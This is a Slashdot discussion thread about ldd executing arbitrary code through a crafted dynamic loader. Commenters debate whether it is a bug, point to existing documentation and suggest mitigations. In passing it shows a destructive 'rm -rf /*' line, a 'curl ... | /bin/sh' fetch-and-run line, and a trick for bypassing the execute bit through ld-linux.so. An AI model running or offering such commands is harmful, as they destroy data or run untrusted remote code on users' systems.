    It'd be nice if the author made it more clear what OS this is claimed to apply to. For example, Solaris 10 has /usr/bin/ldd as an ELF. I don't have my HP-UX or AIX test systems handy, nevermind recent releases of RHEL.

    Also, what efforts has the coder gone to in order to notify the appropriate security groups so that a fix can be produced quickly? I'm not disputing the potential security issues, but there is a reason for first disclosing to a vendor on non-public channels. Give the vendor/coder the chance to do the right thing and produce a fix.

    --
    "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    1. Re:Specific to Linux? by causality · · Score: 1

      It'd be nice if the author made it more clear what OS this is claimed to apply to. For example, Solaris 10 has /usr/bin/ldd as an ELF. I don't have my HP-UX or AIX test systems handy, nevermind recent releases of RHEL.

      Also, what efforts has the coder gone to in order to notify the appropriate security groups so that a fix can be produced quickly? I'm not disputing the potential security issues, but there is a reason for first disclosing to a vendor on non-public channels. Give the vendor/coder the chance to do the right thing and produce a fix.

      Notify the vendor/coder first? I use Linux on my desktop computer and I really don't feel threatened by this. At all. They can 0-day all they like.

      Now, if they find a remotely exploitable vulnerability that can be used to run code or gain a root shell without my active assistance, and that didn't first require me to receive and then choose to work with an untrusted binary, well then I would understand your concern.

      --
      It is a miracle that curiosity survives formal education. - Einstein
    2. Re:Specific to Linux? by __aasqbs9791 · · Score: 2, Informative

      From what I can tell, you can't really fix this as it is what the program does (though I could be wrong). It runs the program to find out what libraries it requires. That's why there's a warning that tells you not to run this on an untrusted program (linked to in a post above). It's sort of like saying sudo is a vulnerability because it lets you run untrusted program code.

    3. Re:Specific to Linux? by theCoder · · Score: 2, Informative

      The author mentioned that on BSD the `ldd' app is a C app that does basically what the Linux shell script `ldd' does. The Solaris `ldd' is also an app, so I can't verify that it's the same as on BSD, but setting LD_TRACE_LOADED_OBJECTS=1 before running an application does cause ldd like output, so I would suspect the same rules apply under Solaris as described in the article.

      --
      "Save the whales, feed the hungry, free the mallocs" -- author unknown
    4. Re:Specific to Linux? by TorKlingberg · · Score: 2, Insightful

      As I understand it, it's not really a bug but a security issue that many are unaware of. It's similar to how many email worms send out .scr files (screensaver) because many people know not to run unknown .exe files.

    5. Re:Specific to Linux? by Anonymous Coward · · Score: 2, Informative

      on NetBSD 4.0_STABLE:

      > LD_TRACE_LOADED_OBJECTS=1 ls

      shows normal ls output

      > file `which ldd` /usr/bin/ldd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for NetBSD 4.0, dynamically linked (uses shared libs), not stripped

      I've looked through the NetBSD ldd source and it does seem to parse the elf imports table etc rather then running the program.

    6. Re:Specific to Linux? by timeOday · · Score: 1

      From what I can tell, you can't really fix this as it is what the program does (though I could be wrong).

      No way should ldd be so promiscuous, executing arbitrary dynamic loaders like that. It shouldn't execute anything that isn't in the PATH. For root, that would limit it to executables that aren't user-writable which is the essential problem here.

  12. The bug is not in the dynamic loader by Skapare · · Score: 5, Insightful

    Actually, no. The bug is NOT in the dynamic loader. In particular, when the exploiting executable specifies a different dynamic loader in the binary interpreter field, then the system dynamic loader is not even involved.

    RTFA again. The exploit involves using a different dynamic loader. The evil person has made a fake loader that does the evil deed. That's NOT a bug, since it does what he (the evil person) wanted.

    The bug is ... at least partly ... in the /usr/bin/ldd script. The real source of the bug is in the thinking that every dynamic loader would do this and that no dynamic loader that failed to would ever be used. That's saying that the design of doing it this way is what is buggy.

    There are some possible fixes. One fix is to make a program to replace /usr/bin/ldd that understand by itself how to parse and interpret all executables. That might be done best via a new flag on the dynamic linker or dynamic loader programs. This needs to work for all executable formats the system might need to work with. Another fix is to provide for a list of allowed (trusted) dynamic loaders that would be enforced most likely by the kernel. That list could be managed via a /proc entry that can only be written/appended to by root (and uses a built-in list prepared when the kernel was compiled, whenever that /proc entry list is empty).

    --
    now we need to go OSS in diesel cars
    1. Re:The bug is not in the dynamic loader by corbettw · · Score: 1

      Interesting idea. Something like that would best be managed by a kernel module, to allow for modifying it while the system is running via rmmod and insmod. Obviously, it would be safer to make it a statically compiled list inside the kernel itself, but I'm wary of recompiling kernels and forcing reboots just to install software. Linux uptimes would start to look a lot like Windows uptimes in that scenario.

      --
      God invented whiskey so the Irish would not rule the world.
    2. Re:The bug is not in the dynamic loader by ccady · · Score: 1

      Could ldd run the untrusted loader in a sandbox?

      --
      J'aime mieux les méchants que les imbéciles, parce qu'ils se reposent. -- Alexandre Dumas
    3. Re:The bug is not in the dynamic loader by Skapare · · Score: 1

      Maybe. The sandbox would have to exist, or ldd spend the time to build one. And it would need to be run as non-root as part of the sandbox. Ideally, the safest way to test things is a non-networked disposable (e.g. delete the image when done and make new images from a master copy when it is needed again) virtual machine.

      --
      now we need to go OSS in diesel cars
  13. New Lingo by Thunderstruck · · Score: 4, Insightful

    I researched this subject thoroughly and found that it's almost completely undocumented.'

    Is this the new way to say "I checked it out and it's legit!"

    --
    Trying to use sarcasm in text-based forums does not work.
  14. Security by obscurity by Skapare · · Score: 1, Troll

    ... the Windows way, since 1981.

    --
    now we need to go OSS in diesel cars
    1. Re:Security by obscurity by Anonymous Coward · · Score: 0

      Insight by ignorance - the Slashdot way, since 1997.

      (Note 3 posts above you which explain what the analog of ldd is in Windows SDK).

  15. Remember to Exit Stage Left by HaloZero · · Score: 5, Funny

    I researched this subject thoroughly and found that it's almost completely undocumented.

    Completely undocumented... <CARUSO NAME="david" STYLE="csi/miami" SHADES="true"> ...until now. </CARUSO>

    YEAAAAAAAAAH!

    --
    Informatus Technologicus
    1. Re:Remember to Exit Stage Left by Anonymous Coward · · Score: 0

      ROTFL

  16. I find his background info interesting... by poofmeisterp · · Score: 1

    ...and here it is.

  17. Other dirty tricks by sjames · · Score: 4, Interesting

    If an ELF binary doesn't have execute permissions and you can't just set them, /lib/ld*.so will run it anyway.

    Some security hacks work by making the exec syscall return an error. A sufficiently clever binary can just map ld.so and the app into itself and effectively execute anyway. Of course this won't honor setuid but it also won't remove capabilities that have been marked not permitted for the target binary.

    1. Re:Other dirty tricks by Anonymous Coward · · Score: 0

      or copy the binary and set the permissions?

    2. Re:Other dirty tricks by sjames · · Score: 1

      In some security proposals it has been suggested that users not ever be able to set those permissions anywhere. They didn't get far because that doesn't actually stop users from executing anything.

    3. Re:Other dirty tricks by KiloByte · · Score: 1

      But if you can create a crafted binary of your own, you can simply copy the app you want executed and chmod +x it. It will have the exact same capabilities as the other binary you can create. Thus, mapping ld.so doesn't give you anything and is not a vulnerability at all.

      --
      The creatures outside looked from Alt-Right to Antifa; but already it was impossible to say which was which.
    4. Re:Other dirty tricks by sjames · · Score: 1

      Under the standard security model, no, it doesn't do anything. However, there is a lot of activity in the area of extended security for Linux these days and occasionally the idea comes up to restrict who can call exec (with or without the x bit set on the file) or restricting who can set the x bit in the first place.

      I'm pointing out that none of that can prevent a binary from running since the exec system call is not actually needed to run a binary. This can also be used to run binaries without the fact appearing in an audit log.

      Essentially, this makes the x bit on a file merely advisory if read permissions exist. You have to revoke read as well to prevent it from being run.

      It's not so much a security vulnerability as it is a frequent pitfall for people playing with security models.

    5. Re:Other dirty tricks by Krunch · · Score: 1

      > A sufficiently clever binary can just map
      > ld.so and the app into itself and effectively
      > execute anyway.

      That's ul_exec(). Published in 2004.
      http://marc.info/?l=bugtraq&m=107298764827122&w=2

      --
      No GNU has been Hurd during the making of this comment.
  18. use readelf by Anonymous Coward · · Score: 1, Informative

    readelf -d

    1. Re:use readelf by PiSkyHi · · Score: 1

      They say you learn something new each day. This method of analysing a linux binary is now installed in my brain.

      Thanks.

  19. Risk assessment by ikegami · · Score: 1

    Seems to me it would be easier to convince my sysadmin to simply run a program of my choice.

    This would be an interesting to include in a released program. The rate of infection will be low, but those infected are likely to be admins and power users. It would also provide some deniability. "I didn't change the loader! What does that even mean?"

    1. Re:Risk assessment by hey · · Score: 1

      Good point.

    2. Re:Risk assessment by Tetsujin · · Score: 1

      Seems to me it would be easier to convince my sysadmin to simply run a program of my choice.

      It all depends on how gullible your sysadmin is...

      Obviously a sysadmin should be wary of following anybody's suggestions on what to do with the superuser account... But I think it requires less of a sharp mind to recognize "please run this program" as a threat as opposed to "please tell me what's gone wrong with this program"...

      Deniability doesn't count for much - if the sysadmin thinks you're trying to sucker them, they could come up with a way to find out what that executable does (like run it through "strings" or set up some kind of safe testing environment and run it under "strace") - if they find it does something nasty, then it doesn't matter whether you tried to hide it in a dynamic loader hack or not.

      --
      Bow-ties are cool.
    3. Re:Risk assessment by HoboCop · · Score: 1

      Trust me, the chances are good your sysadmin couldn't imagine you are trying to sucker him. He thinks that a) you are an idiot and b) he is a genius. He/she will never be convinced that either is false, when in fact usually both are.

      There's a good (50/50) shot that the sysadmin in question does not even know what strings or strace do.

  20. QD? by Siberwulf · · Score: 1

    Uh, yeah. Godmode ftw. Who else didn't see this coming?

  21. 1985 called, they want their exploit back by uslinux.net · · Score: 4, Insightful
    1. Re:1985 called, they want their exploit back by hey · · Score: 1

      This seems to be from 2003.
      But it still should have been fixed.

    2. Re:1985 called, they want their exploit back by Tetsujin · · Score: 1

      http://web.archive.org/web/20050211210119/http://reverse.lostrealm.com/protect/ldd.html

      1985? The message you linked was from 2005...

      Either way, though - whether this has been known for four years or twenty-four years, it'd be nice if they'd fix it...

      --
      Bow-ties are cool.
    3. Re:1985 called, they want their exploit back by Anonymous Coward · · Score: 0

      1986 called and they wanted their "1985 called" gag back.

    4. Re:1985 called, they want their exploit back by lennier · · Score: 1

      Doc Brown called, he wants his DeLorean back. Forward. Returned to its original timeline.

      --
      You are not a brain: http://books.google.com/books?id=2oV61CeDx-YC
  22. Wrong by Anonymous Coward · · Score: 1, Informative

    Actually, that is wrong. Dependency Walker can, if you order it to, execute arbitrary code. It has to, because otherwise you could never have the profiling feature that enables you to hunt for hidden run-time dependencies.

  23. At least ldd checks the 'x' bit by Anonymous Coward · · Score: 0

    cp /bin/bash /tmp

    chmod -x /tmp/bash
    /lib/ld-linux.so.2 /tmp/bash

    runs /tmp/bash anyway

    1. Re:At least ldd checks the 'x' bit by Fujisawa+Sensei · · Score: 1

      cp /bin/bash /tmp

      chmod -x /tmp/bash /lib/ld-linux.so.2 /tmp/bash

      runs /tmp/bash anyway

      Also work with shell scripts. Where your.sh is some bash shell script of your choice.

      cp your.sh /tmp/your.sh

      chmod -x /tmp/your.sh

      /bin/bash /tmp/your.sh

      The shell script executes, the horror!

      --
      If someone is passing you on the right, you are an asshole for driving in the wrong lane.
  24. Rename it! by mweather · · Score: 3, Funny

    They should rename it iddqd in honour of this new feature.

  25. SLASHDOT GROUPTHINK VIOLATION by Anonymous Coward · · Score: 0, Flamebait

    Mod parent down immediately! The feeble minds of Linux users are at stake!

  26. The problem is the executable by gr8_phk · · Score: 1

    The problem is that we're running a compromised executable. Once someone can get that into the system, it's over. Now it sounds like ldd is being used here possibly for increased privileges, but that's all. The real challenge is getting someone a compromised executable.

    1. Re:The problem is the executable by Anonymous Coward · · Score: 0

      The problem is that we're running a compromised executable. Once someone can get that into the system, it's over.

      I thought Unix-like systems were supposed to be multiuser... as in, anyone who has an account can create files that the sysadmin might not want to execute.

    2. Re:The problem is the executable by david_thornley · · Score: 2, Informative

      There's different ways of getting compromised executables onto systems. They're just files, after all, and lots of systems have ways of accepting arbitrary files (FTP servers, for example, often have anonymous dropboxes). The trick is to get somebody to execute them, and most people running Linux systems are a bit smarter than that. If the admins think a certain thing is harmless, and it isn't (in this case, ldd), it's an attack vector.

      --
      "When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
    3. Re:The problem is the executable by nullchar · · Score: 1

      Especially in this case! The poor sysadmin might be investigating this strange executable, and decides to run ldd against it to learn more about it. (Hopefully she doesn't do this as root.)

    4. Re:The problem is the executable by TheLink · · Score: 1

      > (Hopefully she doesn't do this as root.)

      So what if she doesn't do this as root?

      There are already plenty of windows malware that don't give a damn about having admin or full system privileges. They become zombies, send spam, DDoS stuff, etc. None of that requires "root".

      --
  27. OMG! VULNER4BILITY! by jipn4 · · Score: 1

    But here are some even simpler social engineering ideas:

    * tell people to replace /bin/sh with a binary you send them in the mail

    * tell people to type sudo rm -rf /*

    * tell people to type "curl http://yoursite.com/hack | /bin/sh"

  28. Deserves a warning in the man-page... by gweihir · · Score: 1

    ... but not much else. The potential code-execution is a surprising behavior, that nonetheless is not that critical.

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    1. Re:Deserves a warning in the man-page... by msuarezalvarez · · Score: 1

      There *is* a warning in the manpage...

    2. Re:Deserves a warning in the man-page... by gweihir · · Score: 1

      It is maybe a bit subtle. However you are right, it is there.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  29. Mod abuse by sean.peters · · Score: 0, Offtopic

    Why is this a troll? Pointing out an area where Windows is actually superior to something else shouldn't get modded down.

  30. So what? by ledow · · Score: 2, Insightful

    In other news, "nice" is considered dangerous because when you run nice with the command line parameter of a program, it executes the program! And crond. And at. And sudo. And bash. And a million script files.

    This isn't shocking, it's stupid. Possibly slightly unexpected if you're a new admin, that's about it.

    1. Re:So what? by shish · · Score: 1

      All your examples are of programs who's explicit primary purpose (actually, their entire purpose) is to execute other things; ldd is designed to print information to the screen, like cat or ls, and the execution is an unintentional side-effect.

      --
      I mod down anyone who says "I will be modded down for this", regardless of the rest of their comment
  31. Today, on the news by Anonymous Coward · · Score: 0

    Linux's executable loader allows users to run code that may be malicious. Let's contact with our correspondent, Captain Obvious...

  32. I'm not worried by Anonymous Coward · · Score: 0

    Well, part of the answer is to use a sandbox. But you have to use the right sandbox.

    What I recommend to friends and family is to simply use a Live-CD for transactions which really have to be secure. It's not flawless, but it's lightyears ahead of using a read/write medium like your normal setup.

    Even if the system is compromised, all they have to do is to reboot, and they are exactly back to where they started.

  33. Documented in ldd(1) and Program Library HOWTO by dwheeler · · Score: 3, Informative

    This is documented, and in multiple places. My Program Library HOWTO, section "Shared Libraries", says the following, and it's dated in 2000: "Beware: do not run ldd on a program you don't trust. As is clearly stated in the ldd(1) manual, ldd works by (in certain cases) by setting a special environment variable (for ELF objects, LD_TRACE_LOADED_OBJECTS) and then executing the program. It may be possible for an untrusted program to force the ldd user to run arbitrary code (instead of simply showing the ldd information). So, for safety's sake, don't use ldd on programs you don't trust to execute." Now I'd agree that it would better if ldd were changed to NOT do this. If the result of this article is a change in its code to not do this, that would be a great result. But it's simply not true that this is undocumented.

    --
    - David A. Wheeler (see my Secure Programming HOWTO)
    1. Re:Documented in ldd(1) and Program Library HOWTO by Tetsujin · · Score: 1

      That's nice! They should put that in the man page.

      (ldd's man page on my Linux machine does not mention how it works - the closest it comes is mentioning that if you use ldd on a.out binaries created before ldd support was added, the binaries will be executed...)

      --
      Bow-ties are cool.
  34. This is an obvious rip off by Anonymous Coward · · Score: 0

    This is an obvious rip off of already available information, e.g.

    # Security says:
    October 26th, 2009 at 6:51 pm

    This is an obvious copy of http://reverse.lostrealm.com/protect/ldd.html
    # Security says:
    October 26th, 2009 at 6:52 pm

    Including this information from Debian (Feb 2009):

    Debian Bug report logs - #514408 /usr/bin/ldd: ldd manpage fails to mention security implications

    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514408

    The are many projects which try to handle this issues, like
    gcc hardening
    selinux
    and other security kernel patches

  35. ldd stuff by Tetsujin · · Score: 2, Interesting

    I've had the full source code for "ldd" on my linux box for the past thirteen years... What good has that done in this case?

    The good that it has done is that the author of this article DID have access to the source, analyzed it, found a vulnerability and now you, me or anyone else can (and no doubt will) patch it.

    Right, but this trait of ldd has been around for ages. From some of the accounts around here it seems like it was actually a reasonably well-known problem. Those who wanted to exploit this issue for fun or profit have most likely been happily doing so, while those under-educated like myself who weren't aware of it could have been vulnerable to it.

    With the way this thing works I'm not sure it will be fixed, at least not any time soon. "ldd" is relying upon the executable itself to report its own dependencies: when followed as a convention in a friendly environment, this is fine... In a potentially hostile environment this could be a real problem. To solve it without fundamentally changing how "ldd" works requires either education (helping people to recognize the dangers and limitations of "ldd") or else protected-environment facilities, like process jails. (If "ldd", functioning as it does, were run such that it couldn't open network connections, couldn't write to the disk, etc. then there'd be little danger of an exploit...)

    The point of the source being available isn't that you personally need to look through every line of code that your system executes, but rather that it is made available to anyone to analyze for security, efficiency, correctness, etc. instead of being locked up in a vault somewhere.

    This boils down to relying upon "someone else" to do the work and provide me with the useful information that results from the process... The problem with that is that most other folks are also relying upon "someone else" to do this work...

    Don't get me wrong, I agree with the principle of having this information out in the open. But in this case, pragmatically speaking, this appears not to have accomplished anything. How long has this problem existed? How long have people known about this? (For quite a while, it seems...) And still, there is barely even a trace of a mention of it in the manual. "Don't use this on code you don't trust" would be quite a prudent addition, I think...

    Given that this issue (I hesitate to call it a "bug" - you could think of it as a bug, but it's kind of fundamental to the way ldd works... I think of it more as a fundamental miscommunication of ldd's applicability) has been around so long and hasn't been fixed, isn't mentioned in the docs, etc., I would say any complains about the Windows equivalent being closed source are rather silly in this case: the open model hasn't worked better here.

    --
    Bow-ties are cool.
    1. Re:ldd stuff by nicomachus · · Score: 1

      From my FreeBSD 8.0-RELEASE box:

      $ file `which ldd`
      /usr/bin/ldd: ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), for FreeBSD 7.2, dynamically linked (uses shared libs), FreeBSD-style, stripped

      Looks like a binary to me.

  36. RTFM! by HomelessInLaJolla · · Score: 1

    This OS has too many features. How should anyone remember all of them?

    The same is true of hardware. The manpage is much more difficult to come by for audio, video, and network cards.

    --
    the NPG electrode was replaced with carbon blac
  37. When you've run out of 0day remote exploits.. by synthesizerpatel · · Score: 1

    This is the kind of stuff you get.

    Any exploit that requires a local shell is 'Zzzzzzz'.

    And something as contrived as getting root by social engineering someone to use ldd.. Is that so much easier than just kidnapping the system admins family and exchanging them for the root password? C'mon. Work for it.

  38. No magical OpenBSD fix? by metrix007 · · Score: 1

    OpenBSD normally fixes stuff ~6 months before most vendors, are they vulnerable to this attack?

    --
    If you ignore ACs because they are anonymous - you're an idiot.
  39. ldd stuff by Tetsujin · · Score: 1

    My ldd is not a script but an executable under SUSE. It seems to have slightly different behavior than described in the article. I did not completely replicate the "attack" part of this, but I have doubts as to current viability on this.

    TFA said that BSD also had a compiled C program as its "ldd", but I don't think they actually tested it...

    My Debian machine has a script as /usr/bin/ldd, and according to the man page, "very old a.out executables" predating the addition of ldd support to a.out in the compiler would result in the executable being run with no arguments (more or less what the article describes...) Of course, this isn't just limited to a.out executables - that bug note is just one symptom of the problem described in the article. The a.out program lacks explicit support for $LD_TRACE_LOADER_OBJECTS, so running ldd simply runs the program. (I think that may not apply to my copy of ldd - I think /usr/bin/ldd on my system errors out if the executable is not ELF or not dynamically linked) You can do the same in ELF - you just need to arrange for the normal dynamic linker code for the executable to not run...

    If it's true that these compiled versions of ldd do obtain the linkage information without running code in the executable to get it, I'd love to learn the details. Personally I expect they work more or less the same as the script - but I haven't tested them either, of course...

    --
    Bow-ties are cool.
  40. I'm not some fancy linux programmer by jim_v2000 · · Score: 1

    and I mainly use Windows these days...but this seems like a none issue. If someone can get their executable on your system, I'm sure that they can come up with a better way of running it than having you ldd it. I mean, the fact that it's there means that you've downloaded untrustworthy software and are probably just going to run whatever it is anyway, and probably as root if it asks for it.

    --
    Don't take life so seriously. No one makes it out alive.
    1. Re:I'm not some fancy linux programmer by Tetsujin · · Score: 1

      and I mainly use Windows these days...but this seems like a none issue. If someone can get their executable on your system, I'm sure that they can come up with a better way of running it than having you ldd it.

      The real trick is getting someone else to run it - preferably as root...

      --
      Bow-ties are cool.
  41. The bug is in ldd's basic approach... by Tetsujin · · Score: 1

    It's not a bug, it's a design flaw. ldd has always worked by executing the target file under certain circumstances; I'm sure this used to be better documented.

    I think it's equally awkward to call this a "bug" as to call it "not a bug"... Regardless, I think it's something that ought to be fixed.

    The "fix" could take many forms. Better documentation, as you suggested, would be prudent. Making ldd operate within a protected environment (like a jail) would be another... Or - and this is perhaps the sweet spot in terms of what we'd gain vs. what we'd have to pay - as someone else mentioned, provide ldd with a system-wide list of "admin-approved" dynamic loaders, and make it refuse to run any dynamic loader not on that list.

    --
    Bow-ties are cool.
  42. Process jails, etc... by Tetsujin · · Score: 1

    "In other words, he wants to take any program installed on his real machine and say "run this in a virtual environment cloned from my existing real environment"."

    It seems to me this is exactly the sort of capability that should be a basic fundamental thing that an OS does. Instead of being a big ball of soup that lets pretty much any program write anywhere, and then tries to impose security reactively over the top. It should start out with '1. Every process can be a full machine or system/network equivalent, 2. Processes can be arbitrarily small or arbitrarily large, 3. No process can overwrite any other process without permission' and see where we get from there.

    Of course that would give us an architecture very unlike Unix - maybe a little like Plan 9 - so a lot of redesign is in order, but I think the prevalence of virtual machines as an ad-hoc, coarse-grained solution should be telling us that our foundations are a little crooked.

    If nothing else, sticking an unsafe executable into a virtual machine makes it relatively easy to make sure the program doesn't do anything nasty. The VM implementation (whether this is a bytecode interpreter like Java VM or a self-virtualizing processor solution like VMWare, etc.) acts as a convenient checkpoint for anything the program might attempt to do. In other words, rather than starting with a system with many unrestricted resources (network connections, disk space, webcam, microphone, etc.) and having to block them one by one, the VM causes all these things to be effectively blocked by default - and each resource must be individually re-enabled.

    It seems to me that operating systems already implement the three things you suggested. Well, except #1, I'm not even sure what that means... :) But #2 and #3 are at the core of any decent OS shipped today. In order to do any damage, a process needs the right privileges. So really I'm not sure what you're talking about, here.

    Even under those circumstances, however, there are a couple problems. First, a program doesn't need any special privileges to access the network (that itself is perhaps something that should be fixed...). Second, because people may think "ldd" is harmless, they may be fooled into running it with sufficient privileges to do some real damage... And, of course, even if you do run a program once and it doesn't do any damage, there's no guarantee it won't do something nasty the next time. :)

    As a Linux user I am rather envious of the BSD "jail" mechanism - I think that kind of facility, the ability to broadly restrict what a particular program can do when you invoke it - could be really useful.

    --
    Bow-ties are cool.
  43. Not a bug by BitZtream · · Score: 1

    Since when is the user executing arbitrary code a bug?

    The attack vector requires that the user install and run something that is bad to start with. If you can do that, you've already done what you need to do.

    Yes, you can trick someone into running bad code with this, you could just as easy replace any code they are going to run or use LD_PRELOAD.

    To exploit this, you've already be compromised somehow.

    The fix? Signed binaries and only allowing trusted code to run on the system.

    If you're worried about this, you really don't have a very good grasp on security of operating systems in general.

    --
    Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
  44. to ldd, or not to ldd by Bent+Spoke · · Score: 1

    Presumably, one puts a binary on their system because they intend to execute it. In fact one mainly uses ldd after executing a program, and getting a missing library message.

    If ldd was a virus scanner, this would be a big deal. But come on, accepting a binary from an untrusted source onto your system is asking for it, even if ldd didn't do this.

  45. Maybe we can make a deal... by Tetsujin · · Score: 1

    Doc Brown called, he wants his DeLorean back. Forward. Returned to its original timeline.

    Hey, man - I found it abandoned in a cave! I salvaged it, fair and square! If he wants it back he's gonna have to make it worth my while.

    --
    Bow-ties are cool.
  46. Dont run ldd as root by Anonymous Coward · · Score: 0

    If some one says his program cannot work, one should test it with his user-id, not root

  47. Arbitrary code? by Anonymous Coward · · Score: 0

    Arbitrary code execution? As opposed to executing the program you're trying to execute in the first place?

    Normal use of ldd is something like:

    $ ./some_program
    Some library not found
    $ ldd ./some_program

    ldd is used to figure out why a program doesn't run, and is not going to run any "arbitrary code", that couldn't run when trying to run the program in the first place.

  48. Not running as root doesn't mean it's safe by TheLink · · Score: 2, Insightful

    > so I don't wind up running things that don't (like ldd) as root."

    But how does that help "Mr/Ms Desktop User"?

    Most of Desktop User's "crown jewels" would be in the home directory, and even if it's not it would be fully accessible by the arbitrary code and subsequently installed malware since it would be running using "Desktop User"'s account.

    The arbitrary code executed does not need root to turn the machine into a zombie and then execute other code, send spam, DDoS stuff, etc.

    This fixation on "not getting root means I'm safe" is WRONG!

    As long as we are using the current primitive privilege systems, it's not safe. Windows does allow some sandboxing, but there's a lot of room for improvement. Desktop Linux? There's SELinux and AppArmor, you're welcome to figure out how to make either/both "desktop ready".

    --
  49. It's working as intended. by pyrr · · Score: 1

    It doesn't appear to be unintentional that ldd executes "arbitrary" code. It's perfectly intentional. This program is designed to figure out what's needed to run a program (and missing), because you're ostensibly having problems running it. Launching the loader that the application claims to need, if it specifies a special one, would be necessary and intentional. After all, how can you troubleshoot missing dependencies if you're not using the environment the application needs?

    It might be nice, though, if ldd prompted the user if the application asked for a non-standard loader.

    Things this "vulnerability" doesn't do: escalate privileges. It can't do anything the user can't do. It also can't give a remote, unknown user any level of access to a machine. It really does nothing at all except possibly give an end-user the means to potentially "steal" escalated privileges from a sysadmin through dishonest tactics. It can therefore be assumed that the user does have physical access to the machine in question, has some level of privileges, and is someone who should probably be fired or expelled because they're abusing company/school/government property.